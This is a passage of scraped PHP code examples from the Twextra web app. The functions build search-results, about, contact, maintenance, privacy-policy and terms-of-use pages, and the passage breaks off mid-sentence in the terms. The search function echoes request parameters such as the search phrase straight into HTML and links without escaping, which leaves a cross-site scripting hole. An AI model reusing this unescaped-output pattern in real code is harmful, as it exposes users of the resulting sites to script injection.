Esempio n. 1
2
function displayTwextra($screen_name = '')
{
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $css = $config_params['css'];
    $tweet_size_max = $config_params['tweet_size_max'];
    $tweet_size_max_google = $config_params['tweet_size_max_google'];
    $hostname = $config_params['hostname'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $banner = banner('', 'banner');
    //(user, banner_class)
    $footer = $config_params['footer'];
    //
    $docroot = $config_params['docroot'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $show_maintenance_page = $config_params['show_maintenance_page'];
    $print_full_message_list = $config_params['print_full_message_list'];
    $search_len_max = $config_params['search_len_max'];
    $search_len_size = $config_params['search_len_size'];
    $search_count_offset = $config_params['search_count_offset'];
    if ($show_maintenance_page == 1) {
        maintenance_page();
    }
    $script_path = __FUNCTION__;
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        //
        $model->saveStat();
    }
    if (isset($_REQUEST['message_from'])) {
        $message_from = $_REQUEST['message_from'];
        //validate data..
    } else {
        $message_from = 0;
    }
    if (isset($_REQUEST['order'])) {
        $order = $_REQUEST['order'];
        //validate data..
    }
    if (isset($_REQUEST['toggle'])) {
        if ($_REQUEST['asc_desc'] == 'asc') {
            $asc_desc = 'desc';
        } else {
            $asc_desc = 'asc';
        }
    } else {
        $asc_desc = $_REQUEST['asc_desc'];
    }
    //if not set, define the default values
    if (empty($order)) {
        $order = 'created';
    }
    if (empty($asc_desc)) {
        $asc_desc = 'desc';
    }
    if (isset($_REQUEST['less'])) {
        $next = 'less';
    } else {
        $next = 'more';
    }
    $search = $_REQUEST['search'];
    $model = new TwextraModel();
    //
    //$message_id, $created, $view_count, $last_viewed, $prefix
    $length = 20;
    //number of messages to get
    $message_history = $model->get_twextra_search($screen_name, $message_from, $next, $order, $asc_desc, $length, $search);
    $msg_cnt = $message_history[0]['msg_cnt'];
    $msg_pages = ceil($msg_cnt / 20);
    $msg_current = ceil($message_from / 20) + 1;
    $msg_page_of_pages = "Page {$msg_current} of {$msg_pages}";
    $model = new TwextraModel();
    $user_info = $model->get_user_info($message_history[0]['message_id']);
    $display_remote_ip = trim($_SERVER['REMOTE_ADDR']);
    logger($script_path . "  display_remote_ip: ", $display_remote_ip);
    //don't count twitter bot access for correct view count..
    if ($_SERVER['REMOTE_ADDR'] == '128.242.241.134') {
        //$view_inc = false;
        return;
    }
    $screen_name = trim($user_info['screen_name']);
    //screen name of poster
    $name = trim($user_info['name']);
    $location = trim($user_info['location']);
    $description = trim($user_info['description']);
    $user_image_url = trim($user_info['user_image_url']);
    $message_totals = $model->get_message_totals();
    //round to nearest thousand:
    $message_totals = $message_totals - $message_totals % 1000;
    //$message_totals = $message_totals - $search_count_offset;
    $message_totals = number_format($message_totals);
    //format into human readable form
    if (isset($_SESSION['profile_image_url'])) {
        $message_created_by = "";
        //redundant, was used to concatenate profile_image_url
    }
    $message_created_by = " <span style='float:left'>&nbsp;&nbsp;Search results (Total: {$msg_cnt})</span>";
    $message_created_by .= "&nbsp;&nbsp;&nbsp;&nbsp;<span style='float:right'>\n\t\t<input type='text' name='search' size='{$search_len_size}' maxlength='{$search_len_max}' value='{$search}' id='search' ></input>\n\t\t<input class='button_del' type='submit' value='Search Twextra' name='submit'  />\n\t\t<input type='hidden' name='screen_name' value='{$screen_name}' />\n\t\t</span>";
    $message_created_by .= "<br style='clear:both; width:100%' />";
    //test
    $header = header_html($prefix);
    //
    //..........................................................
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    $message = '';
    $message .= $doctype;
    $message .= "<html {$html_attribute} >\n";
    $message .= $header;
    $message .= "<body>\n";
    $message .= "<div class='p5_wrapper'>\n";
    $message .= "<div class='p5_page'>\n";
    $message .= $banner;
    $message .= "<div class='p5_main'>\n";
    //p5_main
    $message .= "<div class='p5_main_inner'>\n";
    //p5_main_inner
    $message .= "<div class='p5_tweet'>";
    //p5_tweet
    $message .= "<h4>&nbsp;&nbsp;Search over {$message_totals} messages</h4>";
    $message .= "<form method='post' action='/searchTwextra.php'>";
    $message .= "<p style='text-align:center;font-weight:bold;' >{$message_created_by}</p>";
    $message .= "</form>";
    if ($msg_cnt > 0) {
        $message .= "<table class='p5_message_history' >";
        $message .= "\n\t<tr>\n\t<th class='p5_th'>ID</th>\n\t<th class='p5_th'><a href='{$hostname}/searchTwextra.php?order=prefix&message_from=0&more&asc_desc={$asc_desc}&toggle&screen_name={$screen_name}&search={$search}'>\n\tMessage</a></th>\n\t<th class='p5_th'><a href='{$hostname}/searchTwextra.php?order=created&message_from=0&more&asc_desc={$asc_desc}&toggle&screen_name={$screen_name}&search={$search}'>\n\tCreated</a></th>\n\t<th class='p5_th'><a href='{$hostname}/searchTwextra.php?order=last_viewed&message_from=0&more&asc_desc={$asc_desc}&toggle&screen_name={$screen_name}&search={$search}'>\n\tLast Viewed</a></th>\n\t<th class='p5_th'><a href='{$hostname}/searchTwextra.php?order=views&message_from=0&more&asc_desc={$asc_desc}&toggle&screen_name={$screen_name}&search={$search}'>\n\tViews</a></th>\n\t</tr>\n\t";
        $message_history_row = 'p5_message_history_row_odd';
        $message_from_more = $message_from + 20;
        $message_from_less = $message_from - 20;
        if ($message_from_less < 0) {
            $message_from_less = 0;
        }
        $more = "<a href='{$hostname}/searchTwextra.php?message_from={$message_from_more}&more&order={$order}&asc_desc={$asc_desc}&screen_name={$screen_name}&search={$search}'\n\t                    >Next ></a>";
        $less = "<a href='{$hostname}/searchTwextra.php?message_from={$message_from_less}&less&order={$order}&asc_desc={$asc_desc}&screen_name={$screen_name}&search={$search}'\n\t                   >&lt; Previous</a>";
        foreach ($message_history as $id => $message_entry) {
            if (!empty($message_entry['last_viewed'])) {
                //$message_last_viewed = date ( "Y-m-d", $message_entry ['last_viewed'] );
                $message_last_viewed = last_viewed($message_entry['last_viewed']);
            } else {
                $message_last_viewed = '';
            }
            $message_id = $message_entry['message_id'];
            $prefix_size_max = 130;
            $message_prefix = substr($message_entry['prefix'], 0, $prefix_size_max);
            if (strlen($message_prefix) == $prefix_size_max) {
                $message_prefix = $message_prefix . '...';
            }
            $message_id_link = "<a href='{$hostname}/{$message_id}' target='_blank' >{$message_id}</a>";
            $message .= "<tr class='{$message_history_row}' >\n\t\t                 <td class='p5_tc1' >" . $message_id_link . "</td>\n\t\t                 <td class='p5_tc2' >" . $message_prefix . "</td>\n\t\t                 <td class='p5_tc3' >" . $message_entry['created_date'] . "</td>\n\t\t                 <td class='p5_tc4' >" . $message_last_viewed . "</td>\n\t\t                 <td class='p5_tc5' >" . $message_entry['view_count'] . "</td>\n\t\t            </tr>";
            if ($message_history_row == 'p5_message_history_row_even') {
                $message_history_row = 'p5_message_history_row_odd';
            } else {
                $message_history_row = 'p5_message_history_row_even';
            }
        }
        if ($message_from == 0) {
            $less = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;';
        }
        if (count($message_history) != 20) {
            $more = '';
        }
        $message .= "</table>";
        //		$message .= "<div style='float:right;margin-top:10px;' >
        //		<input class='button' type='submit' value='Delete' name='submit' onclick='return _delete()' /></div>";
    } else {
        if ($search == '') {
            $message .= "";
        } else {
            $message .= "<div style='text-align:center;'>No messages found with the phrase: {$search} \n\t\t                   </div>";
        }
    }
    $message .= "<div style='margin-top:20px; font-weight:bold;'>";
    //marker a
    if ($msg_cnt > 0) {
        $message .= "<div  class='p5_pofp1' >{$less}&nbsp;&nbsp;{$more}</div>";
        $message .= "<div class='p5_pofp2' >{$msg_page_of_pages}</div>";
    }
    $message .= "<br style='clear:both;' />";
    $message .= "</div>";
    //marker a
    $message .= "</div>\n";
    //p5_tweet
    echo $message;
    $message = "";
    $message .= "<br style='clear:both;'>\n";
    $message .= "</div>\n";
    //p5_main_inner
    $message .= "<br style='clear:both;' />";
    $message .= "</div>\n";
    //p5_main
    $message .= $footer;
    $message .= "</div>\n";
    //page
    $message .= "</div>\n";
    //wrapper
    $message .= $godaddy_analytics;
    $message .= "</body>\n</html>\n";
    echo $message;
}
Esempio n. 2
0
function display_about($screen_name = '')
{
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $css = $config_params['css'];
    $tweet_size_max = $config_params['tweet_size_max'];
    $tweet_size_max_google = $config_params['tweet_size_max_google'];
    $hostname = $config_params['hostname'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $banner = banner('', 'banner');
    //(user, banner_class)
    $footer = $config_params['footer'];
    //
    $docroot = $config_params['docroot'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $script_path = __FUNCTION__;
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        //
        $model->saveStat();
    }
    $header = header_html($prefix);
    //
    //..........................................................
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    $message = '';
    $message .= $doctype;
    $message .= "<html {$html_attribute} >\n";
    $message .= $header;
    $message .= "<body>\n";
    $message .= "<div class='p5_wrapper'>\n";
    $message .= "<div class='p5_page'>\n";
    $message .= $banner;
    $message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
    //p5_main
    $message .= "<h3>About Twextra</h3>";
    $message .= "Ever wish you could write a message longer than 140 characters on\nTwitter or Linkedin?  Well, that's exactly what Twextra enables,\nplus much more.  Take a look at Twextra's features:\n<ul style='margin:0px 0px 10px 25px'>\n<li>\n<span style='background-color:yellow;'>Super-size</span> - With Twextra you can create huge messages of up to\n<i>100,000 characters</i>.\n</li>\n\n<li>\n<span style='background-color:yellow;'>Rich-text</span> - Create messages with formatting such as<i> bold, italic,\nunderline, colored-text, emoticons, </i>etc.\n</li>\n<li>\n<span style='background-color:yellow;'>Multi-media</span> - Embed <i>videos</i> and <i>images</i> into your messages to enable more interesting communication.\n</li>\n</ul>\n\nGive Twextra a try today!";
    $message .= "<br style='clear:both;' />";
    $message .= "</div>\n";
    //p5_main
    $message .= $footer;
    $message .= "</div>\n";
    //page
    $message .= "</div>\n";
    //wrapper
    $message .= $godaddy_analytics;
    //$message .= phpinfo();
    $message .= "</body>\n</html>\n";
    echo $message;
}
Esempio n. 3
0
function display_content($screen_name = '')
{
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $css = $config_params['css'];
    $tweet_size_max = $config_params['tweet_size_max'];
    $tweet_size_max_google = $config_params['tweet_size_max_google'];
    $hostname = $config_params['hostname'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $banner = banner('', 'banner');
    //(user, banner_class)
    $footer = $config_params['footer'];
    //
    $docroot = $config_params['docroot'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $script_path = __FUNCTION__;
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        //
        $model->saveStat();
    }
    $header = header_html($prefix);
    //
    //..........................................................
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    $message = '';
    $message .= $doctype;
    $message .= "<html {$html_attribute} >\n";
    $message .= $header;
    $message .= "<body>\n";
    $message .= "<div class='p5_wrapper'>\n";
    $message .= "<div class='p5_page'>\n";
    $message .= $banner;
    $message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
    //p5_main
    $message .= "<h3>Contacting Twextra</h3>";
    $message .= "If you have any problems, questions, or feedback send email to: ";
    $message .= "<br /><br />contact@twextra.com";
    $message .= "<br style='clear:both;' />";
    $message .= "</div>\n";
    //p5_main
    $message .= $footer;
    $message .= "</div>\n";
    //page
    $message .= "</div>\n";
    //wrapper
    $message .= $godaddy_analytics;
    $message .= "</body>\n</html>\n";
    echo $message;
}
Esempio n. 4
0
function windex()
{
    if (session_id() == "") {
        session_start();
    }
    logger($script_path . " index start:");
    validate_access_webnotes();
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $hostname = $config_params['hostname'];
    $watch_demo = $config_params['watch_demo'];
    $docroot = $config_params['docroot'];
    $debug = $config_params['debug'];
    $header = header_html();
    //
    $footer = $config_params['footer'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $css = $config_params['css'];
    $google_analytics = $config_params['google_analytics'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $cookie_name = $config_params['cookie_name'];
    $ep4 = $config_params['ep4'];
    $docroot = $_SERVER['DOCUMENT_ROOT'];
    //    if (isset($_REQUEST['weditor'])) {
    //        $user = 'raj4126';
    //        $note = $_REQUEST['weditor'];
    //        $tag = $_REQUEST['tag'];
    //        $action = $_REQUEST['action'];
    //        $wid = $_REQUEST['wid'];
    //        print_r($_REQUEST); exit;
    //        $model = new TwextraModel();
    //        $model->saveNote($user, $note, $tag, $action, $wid);
    //    }
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    print $doctype;
    print "<html {$html_attribute} >";
    $message = "\n<head>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{$css}\" />\n<title>Twextra- When you NEED more than 140 characters</title>";
    echo $message;
    $scripts = '';
    $scripts .= "<script type='text/javascript' src='/scripts/jquery/jquery-1.2.6.js'></script>\n";
    echo $scripts;
    $message = "\n<link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/favicon.ico\" />\n</head>\n<body>\n<div class='wrapper'>\n<div class='page'>";
    echo $message;
    $banner = banner($screen_name, 'banner_index');
    //(user, banner_class)
    echo $banner;
    $message = "<div style='float:left;clear:both;margin-left:auto;margin-right:auto;width:800px;'>\n<div style='margin-left:100px;'><a href='{$hostname}/webnotes/wrouter.php?wroute=create'>Create a webnote</a></div>\n<div style='margin-left:100px;'><a href='{$hostname}/webnotes/wrouter.php?wroute=display'>Display webnotes</a></div>\n<div style='margin-left:100px;'><a href='{$hostname}/webnotes/wrouter.php?wroute=search'>Search webnotes</a></div>\n</div>";
    echo $message;
    echo $footer;
    $message = "\n</div>\n</div>\n</body>\n</html>";
    echo $message;
}
Esempio n. 5
0
function display_maintenance_page($screen_name = '')
{
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $css = $config_params['css'];
    $tweet_size_max = $config_params['tweet_size_max'];
    $tweet_size_max_google = $config_params['tweet_size_max_google'];
    $hostname = $config_params['hostname'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $banner = banner('', 'banner');
    //(user, banner_class)
    $footer = $config_params['footer'];
    //
    $docroot = $config_params['docroot'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $script_path = __FUNCTION__;
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        //
        $model->saveStat();
    }
    $header = header_html($prefix);
    //
    //..........................................................
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    $message = '';
    $message .= $doctype;
    $message .= "<html {$html_attribute} >\n";
    $message .= $header;
    $message .= "<body>\n";
    $message .= "<div class='p5_wrapper'>\n";
    $message .= "<div class='p5_page'>\n";
    $message .= $banner;
    $message .= "<div style='margin:80px auto;width:768px;font-size:1.0em;' >\n";
    //p5_main
    $message .= "<h3 style='background-color:#ee1111;width:350px;padding-left:20px;' >Twextra is Down for Maintenance</h3>";
    $message .= "Twextra is currently down for maintenance.  Please check back in a few hours.";
    $message .= "<br style='clear:both;' />";
    $message .= "</div>\n";
    //p5_main
    $message .= $footer;
    $message .= "</div>\n";
    //page
    $message .= "</div>\n";
    //wrapper
    $message .= $godaddy_analytics;
    $message .= "</body>\n</html>\n";
    echo $message;
}
Esempio n. 6
0
function display_privacy($screen_name = '')
{
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $css = $config_params['css'];
    $tweet_size_max = $config_params['tweet_size_max'];
    $tweet_size_max_google = $config_params['tweet_size_max_google'];
    $hostname = $config_params['hostname'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $banner = banner('', 'banner');
    //(user, banner_class)
    $footer = $config_params['footer'];
    //
    $docroot = $config_params['docroot'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $script_path = __FUNCTION__;
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        //
        $model->saveStat();
    }
    $header = header_html($prefix);
    //
    //..........................................................
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    $message = '';
    $message .= $doctype;
    $message .= "<html {$html_attribute} >\n";
    $message .= $header;
    $message .= "<body>\n";
    $message .= "<div class='p5_wrapper'>\n";
    $message .= "<div class='p5_page'>\n";
    $message .= $banner;
    $message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
    //p5_main
    $message .= "<div class='info2'>\n<h2>Privacy Policy</h2>\n<div class='info'>\nOur Privacy Policy is designed to assist you in understanding how we collect and use the personal information you provide to us and to assist you in making informed decisions when using our site and our products and services.\n</div>\n<h3>What Information Do We Collect?</h3>\n<div class='info'>\nWhen you visit our Web site you may provide us with two types of information: personal information you knowingly choose to disclose that is collected on an individual basis and Web site use information collected on an aggregate basis as you and others browse our Web site.\n</div>\n<h3>  1.\tPersonal Information You Choose to Provide</h3>\n\n<h4>Registration Information</h4>\n\n<div class='info'>\nYou will provide us information about yourself when you register to be a member of twextra.com, register for certain services, or register for email newsletters and alerts. You may also provide additional comments on how you see twextra.com servicing your needs and interests.\n</div>\n<h4>  Email Information</h4>\n<div class='info'>\nIf you choose to correspond with us through email, we may retain the content of your email messages together with your email address and our responses. \n</div>\n<h3>  2.\tWeb Site Use Information</h3>\n<div class='info'>\nSimilar to other commercial Web sites, our Web site utilizes a standard technology called \"cookies\" (see explanation below, \"What Are Cookies?\") and Web server logs to collect information about how our Web site is used. Information gathered through cookies and Web server logs may include the date and time of visits, the pages viewed, time spent at our Web site, and the Web sites visited just before and just after our Web site.  We, our advertisers and ad serving companies may also use small technology or pieces of code to determine which advertisements and promotions users have seen and how users responded to them.\n</div>\n<h3>How Do We Use the Information That You Provide to Us?</h3>\n\n<div class='info'>\nBroadly speaking, we use personal information for purposes of administering and expanding our business activities, providing customer service and making available other products and services to our customers and prospective customers. Occasionally, we may also use the information we collect to notify you about important changes to our Web site, new services and special offers we think you will find valuable. You may notify us at any time if you do not wish to receive these offers by emailing us at contact@twextra.com.\n</div>\n<h3>   What Are Cookies?</h3>\n<div class='info'>\nA cookie is a very small text document, which often includes an anonymous unique identifier. When you visit a Web site, that site's computer asks your computer for permission to store this file in a part of your hard drive specifically designated for cookies. Each Web site can send its own cookie to your browser if your browser's preferences allow it, but (to protect your privacy) your browser only permits a Web site to access the cookies it has already sent to you, not the cookies sent to you by other sites.  Some of our business partners (e.g., advertisers) use cookies that originate from their sites. We have no access or control over those cookies.  \n</div>\n\n<h3>   How Do We Use Information We Collect from Cookies?</h3>\n<div class='info'>\nAs you use our Web site, the site uses its cookies to differentiate you from other users. In some cases, we also use cookies to prevent you from logging in more than is necessary for security. Cookies, in conjunction with our Web server's log files, allow us to calculate the aggregate number of people visiting our Web site and which parts of the site are most popular. This helps us gather feedback in order to constantly improve our Web site and better serve our customers.\n</div>\n<h3>   Sharing Information with Third Parties</h3>\n\n<div class='info'>\nWe may enter into alliances, partnerships or other business arrangements with third parties who may be given access to personal information including your name, address, telephone number and email for the purpose of providing you information regarding products and services that we think will be of interest to you. In connection with alliances, partnerships or arrangements, we may also provide certain information to third parties if we have determined that the information will be used in a responsible manner by a responsible third party. For example, some of our partners operate stores or provide services on our site, while others power offerings developed by us for your use. We may also use third parties to facilitate our business, including, but not limited to, sending email and processing credit card payments. In connection with these offerings and business operations, our partners and other third parties may have access to your personal information for use in connection with business activities. As we develop our business, we may buy or sell assets or business offerings. Customer, email, and visitor information is generally one of the transferred business assets in these types of transactions. We may also transfer such information in the course of corporate divestitures, mergers, or any dissolution.\n</div>\n<h3>   Notice of New Services and Changes</h3>\n<div class='info'>\nOccasionally, we may also use the information we collect to notify you about important changes to our Web site, new services and special offers we think you will find valuable. As our customer, you will be given the opportunity to notify us of your desire not to receive these offers by sending us an email request at contact@twextra.com.\n</div>\n<h3>  How Do We Protect Your Information? How Do We Secure Information Transmissions?</h3>\n<div class='info'>\nEmail is not recognized as a secure medium of communication. For this reason, we request that you do not send private information to us by email. Some of the information you may enter on our Web site may be transmitted securely via Secure Sockets Layer SSL encryption services. Pages utilizing this technology will have URLs that start with HTTPS instead of HTTP. Please contact contact@twextra.com if you have any questions or concerns.\n</div>\n<h3>  How Can You Access and Correct Your Information?</h3>\n\n<div class='info'>\nYou may request access to all your personally identifiable information that we collect online and maintain in our database by emailing \ncontact@twextra.com.\n</div>\n<h3>  Certain Disclosures</h3>\n<div class='info'>\nWe may disclose your personal information if required to do so by law or subpoena or if we believe that such action is necessary to (a) conform to the law or comply with legal process served on us or affiliated parties; (b) protect and defend our rights and property, our site, the users of our site, and/or our affiliated parties; (c) act under circumstances to protect the safety of users of our site, us, or third parties.\n</div>\n<h3>  What About Other Web Sites Linked to Our Web Site?</h3>\n<div class='info'>\nWe are not responsible for the practices employed by Web sites linked to or from our Web site nor the information or content contained therein. Often links to other Web sites are provided solely as pointers to information on topics that may be useful to the users of our Web site. \nPlease remember that when you use a link to go from our Web site to another Web site, our Privacy Policy is no longer in effect. Your browsing and interaction on any other Web site, including Web sites which have a link on our Web site, is subject to that Web site's own rules and policies. Please read over those rules and policies before proceeding.\n</div>\n<h3>  Your Consent</h3>\n\n<div class='info'>\nBy using our Web site you consent to our collection and use of your personal information as described in this Privacy Policy. If we change our privacy policies and procedures, we will post those changes on our Web site to keep you aware of what information we collect, how we use it and under what circumstances we may disclose it.\n</div>\n</div>\n";
    $message .= "<br style='clear:both;' />";
    $message .= "</div>\n";
    //p5_main
    $message .= $footer;
    $message .= "</div>\n";
    //page
    $message .= "</div>\n";
    //wrapper
    $message .= $godaddy_analytics;
    $message .= "</body>\n</html>\n";
    echo $message;
}
Esempio n. 7
0
function display_about($screen_name = '')
{
    //configuration parameters:
    $config_params = Config::getConfigParams();
    $css = $config_params['css'];
    $tweet_size_max = $config_params['tweet_size_max'];
    $tweet_size_max_google = $config_params['tweet_size_max_google'];
    $hostname = $config_params['hostname'];
    $doctype = $config_params['doctype'];
    $html_attribute = $config_params['html_attribute'];
    $banner = banner('', 'banner');
    //(user, banner_class)
    $footer = $config_params['footer'];
    //
    $docroot = $config_params['docroot'];
    $godaddy_analytics = $config_params['godaddy_analytics'];
    $debug = $config_params['debug'];
    $enable_stats = $config_params['enable_stats'];
    $script_path = __FUNCTION__;
    //save logs
    if ($enable_stats) {
        $model = new TwextraModel();
        //
        $model->saveStat();
    }
    $header = header_html($prefix);
    //
    //..........................................................
    header("Pragma: no-cache");
    header("cache-Control: no-cache, must-revalidate");
    // HTTP/1.1
    header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
    // Date in the past
    $message = '';
    $message .= $doctype;
    $message .= "<html {$html_attribute} >\n";
    $message .= $header;
    $message .= "<body>\n";
    $message .= "<div class='p5_wrapper'>\n";
    $message .= "<div class='p5_page'>\n";
    $message .= $banner;
    $message .= "<div style='margin-left:auto;margin-right:auto;margin-bottom:20px;width:768px;font-size:0.8em;' >\n";
    //p5_main
    $message .= "<div class='info2'>\n<h2>Terms of Use Agreement</h2>\n<div class='info'>\nWelcome to our Web site.  By using our site, you are agreeing to comply with and be bound by the following terms of use. \nPlease review the following terms carefully. If you do not agree to these terms, you should not use this site.  \nThe term 'Twextra' refers to Viewista, Inc., the owner of the Web site.  \nThe term 'you' refers to the user or viewer of our Web Site.\n</div>\n<h3> Acceptance of Agreement</h3>\n<div class='info'>\nYou agree to the terms and conditions outlined in this Terms of Use Agreement (\"Agreement\") with respect to our site \n(the \"Site\"). This Agreement constitutes the entire and only agreement between us and you, and supersedes all prior or \ncontemporaneous agreements, representations, warranties and understandings with respect to the Site, the content, products \nor services provided by or through the Site, and the subject matter of this Agreement. This Agreement may be amended at any \ntime by us from time to time without specific notice to you. The latest Agreement will be posted on the Site, and you should \nreview this Agreement prior to using the Site.\n</div>\n<h3>\tCopyright</h3>\n<div class='info'>\n\nThe content, organization, graphics, design, compilation, magnetic translation, digital conversion and other matters related \nto the Site are protected under applicable copyrights, trademarks and other proprietary (including but not limited to \nintellectual property) rights. The copying, redistribution, use or publication by you of any such matters or any part of the \nSite, except as allowed by Section \"Limited License; Permitted Uses\" below, is strictly prohibited. You do not acquire \nownership rights to any content, document or other materials viewed through the Site. The posting of information or materials \non the Site does not constitute a waiver of any right in such information and materials.  Some of the content on the site is \nthe copyrighted work of third parties.\n</div>\n<h3>\tService Marks</h3>\n<div class='info'>\n\"twextra.com\" and others are our service marks or registered service marks or trademarks.  Other product and company names \nmentioned on the Site may be trademarks of their respective owners.\n</div>\n<h3>\tLimited License; Permitted Uses</h3>\n<div class='info'>\nYou are granted a non-exclusive, non-transferable, revocable license (a) to access and use the Site strictly in accordance with \nthis Agreement; (b) to use the Site solely for internal, personal, non-commercial purposes; and (c) to print out discrete \ninformation from the Site solely for internal, personal, non-commercial purposes and provided that you maintain all copyright \nand other policies contained therein.  No print out or electronic version of any part of the Site or its contents may be used \nby you in any litigation or arbitration matter whatsoever under any circumstances.\n</div>\n<h3>\tRestrictions and Prohibitions on Use</h3>\n\n<div class='info'>\nYour license for access and use of the Site and any information, materials or documents (collectively defined as 'Content \nand Materials') therein are subject to the following restrictions and prohibitions on use:  You may not (a) copy, print \n(except for the express limited purpose permitted by Section 4 above), republish, display, distribute, transmit, sell, rent, \nlease, loan or otherwise make available in any form or by any means all or any portion of the Site or any Content and Materials \nretrieved therefrom; (b) use the Site or any materials obtained from the Site to develop, of as a component of, any information, \nstorage and retrieval system, database, information base, or similar resource (in any media now existing or hereafter developed), \nthat is offered for commercial distribution of any kind, including through sale, license, lease, rental, subscription, or any \nother commercial  distribution mechanism; (c) create compilations or derivative works of any Content and Materials from the Site; \n(d) use any Content and Materials from the Site in any manner that may infringe any copyright, intellectual property right, \nproprietary right, or property right of us or any third parties; (e) remove, change or obscure any copyright notice or other \nproprietary notice or terms of use contained in the Site; (f) make any portion of the Site available through any timesharing \nsystem, service bureau, the Internet or any other technology now existing or developed in the future; (g) remove, decompile, \ndisassemble or reverse engineer any Site software or use any network monitoring or discovery software to determine the Site \narchitecture; (h) use any automatic or manual process to harvest information from the Site; (i) use the Site for the purpose of \ngathering information for or transmitting (1) unsolicited commercial email; (2) email that makes use of headers, invalid or \nnonexistent domain names, or other means of deceptive addressing; and (3) unsolicited telephone calls or facsimile transmissions; \n(j) use the Site in a manner that violates any state or federal law regulating email, facsimile transmissions or telephone \nsolicitations; and (k) export or re-export the Site or any portion thereof, or any software available on or through the Site, \nin violation of the export control laws or regulations of the United States.\n</div>\n<h3>\tForms, Agreements & Documents</h3>\n<div class='info'>\nWe may make available through the Site or through other Web sites sample and actual forms, checklists, business documents and \nlegal documents (collectively, 'Documents').  All Documents are provided on a non-exclusive license basis only for your \npersonal one-time use for non-commercial purposes, without any right to re-license, sublicense, distribute, assign or transfer \nsuch license.  Documents are provided for a charge and without any representations  or warranties, express or implied, as to \ntheir suitability, legal effect, completeness, currentness, accuracy, and/or appropriateness.  THE DOCUMENTS ARE PROVIDED 'AS \nIS', 'AS AVAILABLE', AND WITH 'ALL FAULTS', AND WE AND ANY PROVIDER OF THE DOCUMENTS DISCLAIM ANY WARRANTIES, \nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  The Documents may be \ninappropriate for your particular circumstances.  Furthermore, state laws may require different or additional provisions to \nensure the desired result.  You should consult with legal counsel to determine the appropriate legal or business documents \nnecessary for your particular transactions, as the Documents are only samples and may not be applicable to a particular \nsituation.  Some Documents are public domain forms or available from public records.\n</div>\n<h3>\tNo Legal Advice or Attorney-Client Relationship</h3>\n<div class='info'>\nInformation contained on or made available through the Site is not intended to and does not constitute legal advice, \nrecommendations, mediation or counseling under any circumstance and no attorney-client relationship is formed.  We do not \nwarrant or guarantee the accurateness, completeness, adequacy or currency of the information contained in or linked to the Site.  \nYour use of information  on the Site or materials linked to the Site is entirely at your own risk.  We are not a law firm and \nthe Site is not a lawyer referral service.\n\n</div>\n<h3>\tLinking to the Site</h3>\n<div class='info'>\nYou may provide links to the Site, provided (a) that you do not remove or obscure, by framing or otherwise, advertisements, \nthe copyright notice, or other notices on the Site, (b) your site does not engage in illegal or pornographic activities, and \n(c) you discontinue providing links to the Site immediately upon request by us.\n</div>\n<h3>\tAdvertisers</h3>\nThe Site may contain advertising and sponsorships. Advertisers and sponsors are responsible for ensuring that material \nsubmitted for inclusion on the Site is accurate and complies with applicable laws.  We are not responsible for the illegality \nor any error, inaccuracy or problem in the advertiser's or sponsor's materials.\n\n<h3>\tRegistration</h3>\n<div class='info'>\nCertain sections of, or offerings from, the Site may require you to register.  If registration is requested, you agree to \nprovide us with 